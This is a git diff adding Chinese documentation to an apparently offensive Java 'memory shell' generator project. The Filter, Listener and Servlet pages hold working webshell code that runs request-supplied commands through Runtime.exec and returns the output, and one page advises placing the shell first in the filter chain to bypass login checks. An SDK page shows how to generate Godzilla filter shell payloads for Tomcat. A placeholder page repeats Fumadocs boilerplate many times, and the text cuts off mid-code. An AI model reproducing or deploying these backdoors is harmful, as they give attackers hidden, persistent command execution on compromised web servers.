漏洞测试 payload +8. web 模块添加 fumadocs 框架,支持文档编写 +9. 回显马运行字节码时支持 base64 和 gzipBase64 字节码传入 +10. 支持 GroovyTransformJar 打包方式(fastjson 漏洞注入 [#112](https://github.com/ReaJason/MemShellParty/issues/112) Thanks [@DongHuangT1](https://github.com/DongHuangT1)) +11. 回显马参数名称支持默认随机生成 + +### Changed + +1. 由于 jetty handler 依赖的类干扰,boot 容器从 jetty 改为 undertow +2. 注入器和回显马添加 ok 标识仅运行一次,降低代码运行时间 + ## [v2.2.0](https://github.com/ReaJason/MemShellParty/releases/tag/v2.2.0) - 2025-11-20 ### Added diff --git a/web/content/docs/custom-memshell.mdx b/web/content/docs/custom-memshell.mdx new file mode 100644 index 00000000..d93762e8 --- /dev/null +++ b/web/content/docs/custom-memshell.mdx @@ -0,0 +1,56 @@ +--- +title: 实现自定义内存马 +--- + +MemShellParty 参考 JMG 使用注入器和内存马分离的方式进行的内存马注入,注入的伪代码如下: + +```java +Object context = getContext(); +Object shell = defineClass(getShellBase64Str()); + +inject(context, shell); +``` + +自定义内存马就是开放 getShellBase64Str 的修改,通过生成界面传入内存马的 base64 或 class 文件来实现。 + +注入器的选择,在通过生成界面选完目标服务和挂载类型就已经确认好了,无法自定义。 + +### 实现参考 + +1. Servlets 相关内存马使用 javax.servlet 即可,当挂载类型选为 Jakarta 开头,在生成时会自动将 javax 改为 + jakarta,无须重复实现。 +2. Listener 内存马生成时,通过 request 对象获取 response 方法会自动将不同的中间件实现填充到 getResponseFromRequest + 方法上,因此推荐按参考实现一样使用空实现,额外需要注意 getResponseFromRequest 中的 request 请求参数声明必须为 Object。 +3. Valve 内存马使用 Tomcat Valve 的包名 (`org.apache.catalina.`) 即可,当选中 BES/TongWeb 等会自动改为其特有的包名前缀,无须重复实现。 +4. Agent 内存马推荐使用 `Thread.currentThread().getContextClassLoader()` 进行反射调用所需的工具类,因为 Agent + 内存马类会放进所增强类的 ClassLoader 中,部分中间件会存在模块隔离,无法直接使用部分类,例如 `java.util.Base64`、 + `javax.crypto.Cipher`。 + +| 挂载类型 | 参考实现 | +|----------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| +| Servlet/JakartaServlet | [GodzillaServlet](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaServlet.java) | +| Filter/JakartaFilter | [GodzillaFilter](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilter.java) | +| Listener/JakartaListener | [GodzillaListener](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaListener.java) | +| Valve/JakartaValve | [GodzillaValve](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaValve.java) | +| ProxyValve/JakartaProxyValve | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) | +| WebSocket/JakartaWebSocket | [GodzillaWebSocket](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebSocket.java) | +| (SpringWebMVC)Interceptor/JakartaInterceptor | [GodzillaInterceptor](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaInterceptor.java) | +| (SpringWebMVC)ControllerHandler/JakartaControllerHandler | [GodzillaControllerHandler](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaControllerHandler.java) | +| (SpringWebFlux)WebFilter | [GodzillaWebFilter](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebFilter.java) | +| (SpringWebFlux)HandlerMethod | [GodzillaHandlerMethod](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerMethod.java) | +| (SpringWebFlux)HandlerFunction | [GodzillaHandlerFunction](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerFunction.java) | +| NettyHandler | [GodzillaNettyHandler](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaNettyHandler.java) | +| AgentFilterChain/AgentContextValve | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) | +| (SpringWebMVC)AgentFrameworkServlet | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) | +| (Jetty)AgentHandler | [GodzillaJettyHandler](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyHandler.java) | +| (WAS)AgentFilterManager | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) | +| (WebLogic)AgentServletContext | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) | +| (Undertow)AgentServletHandler | [GodzillaUndertowServletHandler](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaUndertowServletHandler.java) | + +### 参考步骤 + +1. 执行 `git clone https://github.com/ReaJason/MemShellParty.git` 下载当前项目到本地 +2. 在 memshell/src/main/java/com/reajason/javaweb/memshell/shelltool 创建 custom 目录进行自定义内存马的编写 +3. 执行 `./gradlew :memshell:compileJava` 或 `.\gradlew.bat :memshell:compileJava` +4. 在 memshell/build/classes/java/main/com/reajason/javaweb/memshell/shelltool/custom 下可以找到编译好的类文件 +5. 在生成界面,选择目标服务 - Custom - 挂载类型,上传 class 文件,选择打包方式并生成 \ No newline at end of file diff --git a/web/content/docs/fqa.mdx b/web/content/docs/fqa.mdx new file mode 100644 index 00000000..9d178fd0 --- /dev/null +++ b/web/content/docs/fqa.mdx @@ -0,0 +1,9 @@ +--- +title: FQA +description: Getting Started with Fumadocs +icon: CircleAlert +--- + +Hey there! Fumadocs is the docs framework that also works on React Router! + +## Heading \ No newline at end of file diff --git a/docs/images/arthas_classloader.png b/web/content/docs/images/arthas_classloader.png similarity index 100% rename from docs/images/arthas_classloader.png rename to web/content/docs/images/arthas_classloader.png diff --git a/docs/images/arthas_jad1.png b/web/content/docs/images/arthas_jad1.png similarity index 100% rename from docs/images/arthas_jad1.png rename to web/content/docs/images/arthas_jad1.png diff --git a/docs/images/arthas_jad2.png b/web/content/docs/images/arthas_jad2.png similarity index 100% rename from docs/images/arthas_jad2.png rename to web/content/docs/images/arthas_jad2.png diff --git a/docs/images/arthas_sc.png b/web/content/docs/images/arthas_sc.png similarity index 100% rename from docs/images/arthas_sc.png rename to web/content/docs/images/arthas_sc.png diff --git a/docs/images/idea_javachains.png b/web/content/docs/images/idea_javachains.png similarity index 100% rename from docs/images/idea_javachains.png rename to web/content/docs/images/idea_javachains.png diff --git a/docs/images/idea_plugins.png b/web/content/docs/images/idea_plugins.png similarity index 100% rename from docs/images/idea_plugins.png rename to web/content/docs/images/idea_plugins.png diff --git a/docs/images/jadx_interface.png b/web/content/docs/images/jadx_interface.png similarity index 100% rename from docs/images/jadx_interface.png rename to web/content/docs/images/jadx_interface.png diff --git a/docs/Compatibility.md b/web/content/docs/index.mdx similarity index 80% rename from docs/Compatibility.md rename to web/content/docs/index.mdx index 227cf1c1..d414babd 100644 --- a/docs/Compatibility.md +++ b/web/content/docs/index.mdx @@ -1,18 +1,23 @@ -## 适配情况 +--- +title: 适配情况 +icon: Album +--- + 已兼容 Java6 ~ Java8、Java9、Java11、Java17、Java21 ### 中间件以及框架 -| Tomcat(5 ~ 11) | Jetty(6 ~ 11) | GlassFish(3 ~ 7) | Payara(5 ~ 6) | +| Tomcat(5 ~ 11) | Jetty(6 ~ 12) | GlassFish(3 ~ 7) | Payara(5 ~ 6) | |----------------------|------------------------|----------------------|----------------------| | Servlet | Servlet | Filter | Filter | | Filter | Filter | Listener | Listener | | Listener | Listener | Valve | Valve | -| Valve | ServletHandler - Agent | FilterChain - Agent | FilterChain - Agent | -| ProxyValve | | | | -| FilterChain - Agent | | ContextValve - Agent | ContextValve - Agent | +| Valve | Handler | FilterChain - Agent | FilterChain - Agent | +| ProxyValve | Customizer | ContextValve - Agent | ContextValve - Agent | +| FilterChain - Agent | ServletHandler - Agent | | | | ContextValve - Agent | | | | +| Upgrade | | | | | Resin(3 ~ 4) | SpringMVC | SpringWebFlux | XXL-JOB | |---------------------|--------------------------|-----------------|--------------| @@ -21,15 +26,14 @@ | Listener | FrameworkServlet - Agent | HandlerFunction | | | FilterChain - Agent | | NettyHandler | | -| JBossAS(4 ~ 7) | JBossEAP(6 ~ 7) | WildFly(9 ~ 30) | Undertow | +| JBossAS(4 ~ 7) | JBossEAP(6 ~ 8) | WildFly(9 ~ 30) | Undertow | |----------------------|----------------------------|------------------------|------------------------| | Filter | Filter | Servlet | Servlet | | Listener | Listener | Filter | Filter | | Valve | Valve(6) | Listener | Listener | -| ProxyValve | | | | -| FilterChain - Agent | FilterChain - Agent (6) | ServletHandler - Agent | ServletHandler - Agent | -| ContextValve - Agent | ContextValve - Agent (6) | | | -| | ServletHandler - Agent (7) | | | +| ProxyValve | FilterChain - Agent (6) | ServletHandler - Agent | ServletHandler - Agent| +| FilterChain - Agent | ContextValve - Agent (6) | | | +| ContextValve - Agent | ServletHandler - Agent (7) | | | | WebSphere(7 ~ 9) | WebLogic (10.3.6 ~ 14) | |-----------------------|-------------------------| @@ -64,13 +68,13 @@ - [x] [Neo-reGeorg](https://github.com/L-codes/Neo-reGeorg) - [x] Custom -### 封装方式 +### 打包方式 - [x] BASE64 - [x] GZIP BASE64 - [x] JSP - [x] JSPX -- [x] JAR +- [x] JAR、ScriptEngineJar、GroovyTransformJar - [x] BCEL - [x] 内置脚本引擎、Rhino 脚本引擎 - [x] EL、SpEL、OGNL、Aviator、MVEL、JEXL、Groovy、JXPath、BeanShell @@ -78,7 +82,7 @@ - [x] 原生反序列化(CB 和 CC 链) - [x] Agent - [x] XXL-JOB Executor -- [x] Hessian、Hessian2 反序列化(XSLT链) +- [x] Hessian、Hessian2 反序列化(XSLT 链) +- [x] H2 - [ ] JNDI -- [ ] JDBC 连接 - [ ] 其他常见反序列化 \ No newline at end of file diff --git a/web/content/docs/memshell/filter.mdx b/web/content/docs/memshell/filter.mdx new file mode 100644 index 00000000..71afda94 --- /dev/null +++ b/web/content/docs/memshell/filter.mdx @@ -0,0 +1,103 @@ +--- +title: Filter 内存马 +--- + +> [Servlet 3.1 规范 — Filter 主要概念](https://github.com/waylau/servlet-3.1-specification/blob/master/docs/Filtering/6.2%20Main%20Concepts.md) + +Filter 是 Servlet 规范中定义的一个 Web 组件,可作用在一个 Servlet 或多个 Servlet 上,以链式的方式顺序调用,其允许改变请求和响应的头信息和内容。常见的过滤器有登录认证过滤器、字符编码过滤器以及加解密过滤器。 + +## Filter 配置 + +Filter 可以选择应用的 url-pattern 或 servlet-name,以下两种方式等价 + +```xml + + Multipe Mappings Filter + /foo/* + Servlet1 + Servlet2 + /bar/* + +``` + +```java +@WebFilter( + filterName = "Multipe Mappings Filter", + urlPatterns = {"/foo/*", "/bar/*"}, + servletNames = {"Servlet1", "Servlet2"} +) +public class MultipeMappingsFilter implements Filter { + @Override + public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { + // TODO + } +} +``` + +## doFilter + +Web 容器在启动时,会扫描 Web 应用中所有 Filter 的定义来注册 Filter,并将其封装成 FilterChain,每个 Filter 在 JVM 中只会有一个实例。 + +Filter 的接口签名如下,其中最重要的就是 doFilter 方法。 + +1. Web 容器在接收到请求时,会获取 FilterChain 中的第一个过滤器将 request、response 以及 chain 传入 doFilter 方法中进行调用。 +2. 当过滤器链中最后一个过滤器被调用,将会访问到最终的 Servlet 或静态资源。 +3. 手动在 doFilter 中调用 `chain.doFilter(request, response)`,将会访问 chain 中下一个过滤器。 +4. 在 doFilter 中可以选择不调用 `chain.doFilter(request, response)` 则意为阻止当前请求,那么当前过滤器需要负责填充响应对象。 + +```java +public interface Filter { + /** + * 由 Web 容器在初始化 Filter 时调用。 + */ + public void init(FilterConfig filterConfig) throws ServletException; + public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)throws IOException, ServletException; + /** + * 由 Web 容器在卸载 Filter 时调用。 + */ + public void destroy(); +} +``` + +## FilterShell + +shell 的目的,就是为了定义一个入口,我们能与 Web 服务器进行交互。在 Filter 中我们就是实现 doFilter 来满足需求,以下定义了一个命令回显的 FilterShell。 + +1. 一般而言,我们会为 FilterShell 注册 url-pattern 为 `/*`,这样无论访问哪个路径都能被调用到,而且为了绕过登录过滤器,我们会把 FilterShell 注册为 FilterChain 中的第一个过滤器。 +2. 交互的入口是 `request.getParameter` 支持两种方式传参。GET/POST 请求发送 `/?paramName=whoami`,也可以发送 POST 请求时使用 `application/x-www-form-urlencoded` 发送 body 参数。`multipart/form-data` 是不支持从 `request.getParameter` 获取参数的。 +3. 当 Filter 注册的 url-pattern 为 `/*` 时,我们拿到 cmd 参数,就可以执行命令并填充响应对象 `return` 结束请求,而在拿不到参数的时候就必须调用 `chain.doFilter(servletRequest, servletResponse)`,否则正常的业务就不会被执行。 + +```java +public class CommandFilter implements Filter { + public static String paramName; + + @Override + public void init(FilterConfig filterConfig) throws ServletException { + + } + + @Override + public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { + HttpServletRequest servletRequest = (HttpServletRequest) request; + HttpServletResponse servletResponse = (HttpServletResponse) response; + String cmd = servletRequest.getParameter(paramName); + if (cmd != null) { + Process exec = Runtime.getRuntime().exec(cmd); + InputStream inputStream = exec.getInputStream(); + ServletOutputStream outputStream = servletResponse.getOutputStream(); + byte[] buf = new byte[8192]; + int length; + while ((length = inputStream.read(buf)) != -1) { + outputStream.write(buf, 0, length); + } + return; + } + chain.doFilter(servletRequest, servletResponse); + } + + @Override + public void destroy() { + + } +} +``` diff --git a/web/content/docs/memshell/listener.mdx b/web/content/docs/memshell/listener.mdx new file mode 100644 index 00000000..f76bc33b --- /dev/null +++ b/web/content/docs/memshell/listener.mdx @@ -0,0 +1,81 @@ +--- +title: Listener 内存马 +--- + +> [Servlet 3.1 规范 - 事件监听器](https://github.com/waylau/servlet-3.1-specification/blob/master/docs/Application%20Lifecycle%20Events/11.2%20Event%20Listeners.md) + +Servlet 事件监听器支持当 ServletContext、HttpSession 和 ServletRequest 状态变更时发送事件通知。每个事件类型的监听器都支持多个,并且开发者可以指定监听器的调用顺序。 + +| Listener 接口类 | 描述 | +|--------------------------------------------------|---------------------------------| +| javax.servlet.ServletContextListener | 在 ServletContext 创建以及销毁时 | +| javax.servlet.ServletContextAttributeListener | 在 ServletContext 添加、移除或替换属性时 | +| javax.servlet.http.HttpSessionListener | 在 HttpSession 创建和销毁时 | +| javax.servlet.http.HttpSessionAttributeListener | 在 HttpSession 上添加、移除或替换属性 | +| javax.servlet.http.HttpSessionIdListener | 在 HttpSession id 变化时 | +| javax.servlet.http.HttpSessionActivationListener | 在 HttpSession 激活或钝化时 | +| javax.servlet.http.HttpSessionBindingListener | 在 HttpSession 上对象绑定或解绑时 | +| javax.servlet.ServletRequestListener | 在 ServletRequest 在将要被 Web 容器处理时 | +| javax.servlet.ServletRequestAttributeListener | 在 ServletRequest 上添加、移除或替换属性时 | +| javax.servlet.AsyncListener | 在异步操作开始、超时或完成时 | + +## ServletRequestListener + +在编写 shell 时我们需要关注的主要就是 ServletRequestListener,在请求处理之前可以在拿到请求信息并处理(在 Filter 以及 Servlet 之前),由于它作为事件监听器的一员,并没有直接结束请求的机制,因此在对响应体重写等操作结束之后,最后还是会走到 Filter 和 Servlet 的逻辑。 + +```java +public interface ServletRequestListener extends EventListener { + public void requestDestroyed(ServletRequestEvent sre); + + /** + * Receives notification that a ServletRequest is about to come + * into scope of the web application. + * + * @param sre the ServletRequestEvent containing the ServletRequest + * and the ServletContext representing the web application + */ + public void requestInitialized(ServletRequestEvent sre); +} +``` + +以下时使用 ServletRequestListenerShell 命令回显的代码实现。 + +1. 由于此处只能拿到 ServletRequestEvent,其中只有 ServletRequest,但是一般中间件实现中,ServletRequest 中都会有能获取到 ServletResponse 的方法,因此额外新增了一个 getResponseFromRequest 方法。 + +```java +public class CommandListener implements ServletRequestListener { + public static String paramName; + + public CommandListener() { + } + + @Override + public void requestDestroyed(ServletRequestEvent sre) { + + } + + @Override + public void requestInitialized(ServletRequestEvent servletRequestEvent) { + HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); + try { + String cmd = request.getParameter(paramName); + if (cmd != null) { + HttpServletResponse servletResponse = this.getResponseFromRequest(request); + Process exec = Runtime.getRuntime().exec(cmd); + InputStream inputStream = exec.getInputStream(); + ServletOutputStream outputStream = servletResponse.getOutputStream(); + byte[] buf = new byte[8192]; + int length; + while ((length = inputStream.read(buf)) != -1) { + outputStream.write(buf, 0, length); + } + } + } catch (Exception ignored) { + } + } + + private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { + return null; + } +} +``` diff --git a/web/content/docs/memshell/meta.json b/web/content/docs/memshell/meta.json new file mode 100644 index 00000000..5699cc52 --- /dev/null +++ b/web/content/docs/memshell/meta.json @@ -0,0 +1,3 @@ +{ + "title": "常见 Java 内存马" +} \ No newline at end of file diff --git a/web/content/docs/memshell/servlet.mdx b/web/content/docs/memshell/servlet.mdx new file mode 100644 index 00000000..5f1df5f5 --- /dev/null +++ b/web/content/docs/memshell/servlet.mdx @@ -0,0 +1,100 @@ +--- +title: Servlet 内存马 +--- + +Java SE 中我们可以创建 socket 服务端为用户提供服务,但需要用户使用 socket 客户端,当然也可以基于 socket 实现 HTTP 协议,WebFlux 就是这样子的存在。而在 Java EE 中,Java 制定了 Servlet 规范,来规范在 Java 中提供 HTTP 服务的编写方式,其中有两个重要的概念,Servlet 与 Servlet Container。Servlet 是基于 Java 的 Web 组件,由容器进行管理,提供动态内容。Servlet 容器用于提供基于请求/响应发送模式的服务,必须支持 HTTP,并且管理 Servlet 的生命周期,使 Servlet 在一个受限的安全环境中执行。 + +Servlet 规范旨在让开发者基于规范开发的应用,可以部署在任意满足规范的 Web 容器上。每个 Servlet 规范版本都引入了一些新的东西,Servlet 4.0 前的版本变更可查看 [java-servlet-version-history](https://www.codejava.net/java-ee/servlet/java-servlet-version-history)。 + +目前常见的 Servlet 规范就是 [Servlet 3.1](https://github.com/waylau/servlet-3.1-specification/blob/master/docs), Tomcat 8.x 版本就是 Servlet 3.1 版本,从 Servlet 5.0 开始,Java EE 更名为 Jakarta EE,包路径从 javax 改为 jakarta。目前最新的 Servlet 规范是 [Servlet 6.1](https://jakarta.ee/zh/specifications/servlet/6.1/)。另外可以 [在此](https://tomcat.apache.org/whichversion.html) 查看 Tomcat 容器支持的 Servlet 规范版本。 + +## ServletContext + +> [Servlet 3.1 规范 - 4.1 ServletContext 接口介绍](https://github.com/waylau/servlet-3.1-specification/blob/master/docs/Servlet%20Context/4.1%20Introduction%20to%20the%20ServletContext%20Interface.md) + +ServletContext 定义了 Servlet 运行的 Web 应用视图,一个 Web 应用对应一个 ServletContext。 + +ServletContext 必须支持编程式添加 Servlet、Filter 和 Listener,对框架开发者有用处。但是规定了这些方法只能在 ServletContextListener.contexInitialized 或 ServletContainerInitializer.onStartup 应用初始化的时候调用。 + +```java +addServlet(String servletName, String className); +addServlet(String servletName, Servlet servlet); +addServlet(String servletName, Class servletClass); +addFilter(String filterName, String className); +addFilter(String filterName, Filter filter); +addFilter(String filterName, Class filterClass); +void addListener(String className); +void addListener(T t); +void addListener(Class listenerClass); +``` + +这就是在注入内存马时我们需要先拿 Context 的原因(已经写在了 Servlet 规范里面啦),所以针对实现了 Servlet 规范的 Web 容器都是一个套路,并且该反射调用哪些方法也写在里面了。不过在实现的时候却写了那么多代码的原因就是,其规定了这些方法只能在应用初始化的时候调用,我们注入内存马的时候已经是应用运行时了,那些代码实际上就是将方法内的具体实现重新用反射实现一遍。 + +## HttpServlet + +99.99% 的时候,我们实现 HttpServlet 抽象类给予我们的能力就可以了,以下每个方法都对应了 HTTP Method 方法,当我们想要实现处理 Get 请求实现 doGet,处理 Post 请求就实现 doPost。 + +```java +protected void doGet(HttpServletRequest req, HttpServletResponse resp); +protected void doPost(HttpServletRequest req, HttpServletResponse resp); +protected void doPut(HttpServletRequest req, HttpServletResponse resp); +protected void doDelete(HttpServletRequest req, HttpServletResponse resp); +protected void doHead(HttpServletRequest req, HttpServletResponse resp); +protected void doOptions(HttpServletRequest req, HttpServletResponse resp); +protected void doTrace(HttpServletRequest req, HttpServletResponse resp); +``` + +Servlet 规范中规定了,对于非分布式应用来说,Servlet 容器必须确保对于每个 Servlet 定义只存在一个实例,但是 Web 服务是多线程的,所以 Servlet 是线程不安全的,在 Servlet 中的成员变量都是线程不安全的。 + +针对 Servlet 的路径映射提供了注解的方式和 web.xml 方法,以下两种方式都能定义访问 `/foo` 即调用 CalculatorServlet 中对应的实现方法。 + +```java +@WebServlet(”/foo”) +public class CalculatorServlet extends HttpServlet{ +//... +} +``` + +```xml + + foo + org.example.CalculatorServlet + + + foo + /foo + +``` + +## ServletShell + +shell 的目的,就是为了定义一个入口,我们能与 Web 服务器进行交互。以下定义了一个命令回显的 ServletShell。 + +1. doGet 调用转发给 doPost,这样我们即支持 GET 也支持 POST,防止某些情况下有请求方法的限制。 +2. 交互的入口是 `request.getParameter` 支持两种方式传参。GET/POST 请求发送 `/?paramName=whoami`,也可以发送 POST 请求时使用 `application/x-www-form-urlencoded` 发送 body 参数。`multipart/form-data` 是不支持从 `request.getParameter` 获取参数的。 + +```java +public class CommandServlet extends HttpServlet { + public static String paramName; + + @Override + protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { + doPost(req, resp); + } + + @Override + protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { + String cmd = request.getParameter(paramName); + if (cmd != null) { + Process exec = Runtime.getRuntime().exec(cmd); + InputStream inputStream = exec.getInputStream(); + ServletOutputStream outputStream = response.getOutputStream(); + byte[] buf = new byte[8192]; + int length; + while ((length = inputStream.read(buf)) != -1) { + outputStream.write(buf, 0, length); + } + } + } +} +``` diff --git a/web/content/docs/meta.json b/web/content/docs/meta.json new file mode 100644 index 00000000..d0461c07 --- /dev/null +++ b/web/content/docs/meta.json @@ -0,0 +1,16 @@ +{ + "pages": [ + "index", + "server-intro", + "self-host", + "self-build", + "sdk", + "changelog", + "---Java 内存马---", + "what-is-memshell", + "memshell", + "custom-memshell", + "---其他---", + "recommend-tools" + ] +} diff --git a/web/content/docs/packer.mdx b/web/content/docs/packer.mdx new file mode 100644 index 00000000..2eb8667a --- /dev/null +++ b/web/content/docs/packer.mdx @@ -0,0 +1,5 @@ +--- +title: 介绍 +--- + +打包 \ No newline at end of file diff --git a/web/content/docs/probeshell/type.mdx b/web/content/docs/probeshell/type.mdx new file mode 100644 index 00000000..afa673cd --- /dev/null +++ b/web/content/docs/probeshell/type.mdx @@ -0,0 +1,292 @@ +--- +title: Hello World +description: | + Your first `document` + You'll love it! +--- + +Hey there! Fumadocs is the docs framework that also works on React Router! + +## Heading + +Hello World + + + + + + +```ts +console.log('I love React!'); +``` + +### Heading + +#### Heading + +| Head | Description | +| ------------------------------- | ----------------------------------- | +| `hello` | Hello World | +| very **important** | Hey | +| _Surprisingly_ | Fumadocs | +| very long text that looks weird | hello world hello world hello world | + +Hey there! Fumadocs is the docs framework that also works on React Router! + +## Heading + +Hello World + + + + + + +```ts +console.log('I love React!'); +``` + +### Heading + +#### Heading + +| Head | Description | +| ------------------------------- | ----------------------------------- | +| `hello` | Hello World | +| very **important** | Hey | +| _Surprisingly_ | Fumadocs | +| very long text that looks weird | hello world hello world hello world | + +Hey there! Fumadocs is the docs framework that also works on React Router! + +## Heading + +Hello World + + + + + + +```ts +console.log('I love React!'); +``` + +### Heading + +#### Heading + +| Head | Description | +| ------------------------------- | ----------------------------------- | +| `hello` | Hello World | +| very **important** | Hey | +| _Surprisingly_ | Fumadocs | +| very long text that looks weird | hello world hello world hello world | + +Hey there! Fumadocs is the docs framework that also works on React Router! + +## Heading + +Hello World + + + + + + +```ts +console.log('I love React!'); +``` + +### Heading + +#### Heading + +| Head | Description | +| ------------------------------- | ----------------------------------- | +| `hello` | Hello World | +| very **important** | Hey | +| _Surprisingly_ | Fumadocs | +| very long text that looks weird | hello world hello world hello world | + +Hey there! Fumadocs is the docs framework that also works on React Router! + +## Heading + +Hello World + + + + + + +```ts +console.log('I love React!'); +``` + +### Heading + +#### Heading + +| Head | Description | +| ------------------------------- | ----------------------------------- | +| `hello` | Hello World | +| very **important** | Hey | +| _Surprisingly_ | Fumadocs | +| very long text that looks weird | hello world hello world hello world | + +Hey there! Fumadocs is the docs framework that also works on React Router! + +## Heading + +Hello World + + + + + + +```ts +console.log('I love React!'); +``` + +### Heading + +#### Heading + +| Head | Description | +| ------------------------------- | ----------------------------------- | +| `hello` | Hello World | +| very **important** | Hey | +| _Surprisingly_ | Fumadocs | +| very long text that looks weird | hello world hello world hello world | + +Hey there! Fumadocs is the docs framework that also works on React Router! + +## Heading + +Hello World + + + + + + +```ts +console.log('I love React!'); +``` + +### Heading + +#### Heading + +| Head | Description | +| ------------------------------- | ----------------------------------- | +| `hello` | Hello World | +| very **important** | Hey | +| _Surprisingly_ | Fumadocs | +| very long text that looks weird | hello world hello world hello world | + +Hey there! Fumadocs is the docs framework that also works on React Router! + +## Heading + +Hello World + + + + + + +```ts +console.log('I love React!'); +``` + +### Heading + +#### Heading + +| Head | Description | +| ------------------------------- | ----------------------------------- | +| `hello` | Hello World | +| very **important** | Hey | +| _Surprisingly_ | Fumadocs | +| very long text that looks weird | hello world hello world hello world | + +Hey there! Fumadocs is the docs framework that also works on React Router! + +## Heading + +Hello World + + + + + + +```ts +console.log('I love React!'); +``` + +### Heading + +#### Heading + +| Head | Description | +| ------------------------------- | ----------------------------------- | +| `hello` | Hello World | +| very **important** | Hey | +| _Surprisingly_ | Fumadocs | +| very long text that looks weird | hello world hello world hello world | + +Hey there! Fumadocs is the docs framework that also works on React Router! + +## Heading + +Hello World + + + + + + +```ts +console.log('I love React!'); +``` + +### Heading + +#### Heading + +| Head | Description | +| ------------------------------- | ----------------------------------- | +| `hello` | Hello World | +| very **important** | Hey | +| _Surprisingly_ | Fumadocs | +| very long text that looks weird | hello world hello world hello world | + +Hey there! Fumadocs is the docs framework that also works on React Router! + +## Heading + +Hello World + + + + + + +```ts +console.log('I love React!'); +``` + +### Heading + +#### Heading + +| Head | Description | +| ------------------------------- | ----------------------------------- | +| `hello` | Hello World | +| very **important** | Hey | +| _Surprisingly_ | Fumadocs | +| very long text that looks weird | hello world hello world hello world | diff --git a/docs/RecommendToolForJavaGuys.md b/web/content/docs/recommend-tools.mdx similarity index 99% rename from docs/RecommendToolForJavaGuys.md rename to web/content/docs/recommend-tools.mdx index a94566cc..d5e2eb5a 100644 --- a/docs/RecommendToolForJavaGuys.md +++ b/web/content/docs/recommend-tools.mdx @@ -1,4 +1,6 @@ -# 学习 Java 内存马推荐工具 +--- +title: 工具推荐 +--- > 工欲善其事必先利其器 diff --git a/web/content/docs/sdk.mdx b/web/content/docs/sdk.mdx new file mode 100644 index 00000000..5751acff --- /dev/null +++ b/web/content/docs/sdk.mdx @@ -0,0 +1,103 @@ +--- +title: SDK 集成 +icon: BrainCircuit +description: 适合集成到已有工具中,实现内存马 payload 的生成,支持 JDK8 以上版本,v1.7.0 开始支持 +--- + +import { Tab, Tabs } from 'fumadocs-ui/components/tabs'; + +> 具体代码可参考 [examples](https://github.com/ReaJason/MemShellParty/tree/master/examples) + +### 添加依赖 + + + +```xml + + io.github.reajason + generator + 2.2.0 + +``` + + +```groovy +implementation 'io.github.reajason:generator:2.2.0' +``` + + + + +### 生成 Tomcat Godzilla Filter 内存马示例 + +```java +ShellConfig shellConfig = ShellConfig.builder() + .server(Server.Tomcat) + .shellTool(ShellTool.Godzilla) + .shellType(ShellType.FILTER) + .shrink(true) // 缩小字节码 + .debug(false) // 关闭调试 + .build(); + +InjectorConfig injectorConfig = InjectorConfig.builder() +// .urlPattern("/*") // 自定义 urlPattern,默认就是 /* +// .shellClassName("com.example.memshell.GodzillaShell") // 自定义内存马类名,默认为空时随机生成 +// .injectorClassName("com.example.memshell.GodzillaInjector") // 自定义注入器类名,默认为空时随机生成 + .build(); + +GodzillaConfig godzillaConfig = GodzillaConfig.builder() +// .pass("pass") +// .key("key") +// .headerName("User-Agent") +// .headerValue("test") + .build(); + +GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig); + +System.out.println("注入器类名:"+result.getInjectorClassName()); +System.out.println("内存马类名:"+result.getShellClassName()); + +System.out.println(result.getShellConfig()); +System.out.println(result.getShellToolConfig()); + +System.out.println("Base64 打包:"+Packers.Base64.getInstance().pack(result)); +System.out.println("脚本引擎打包:"+Packers.ScriptEngine.getInstance().pack(result)); +``` + +### 生成 Tomcat Godzilla AgentFilterChain 示例 + +```java +ShellConfig shellConfig = 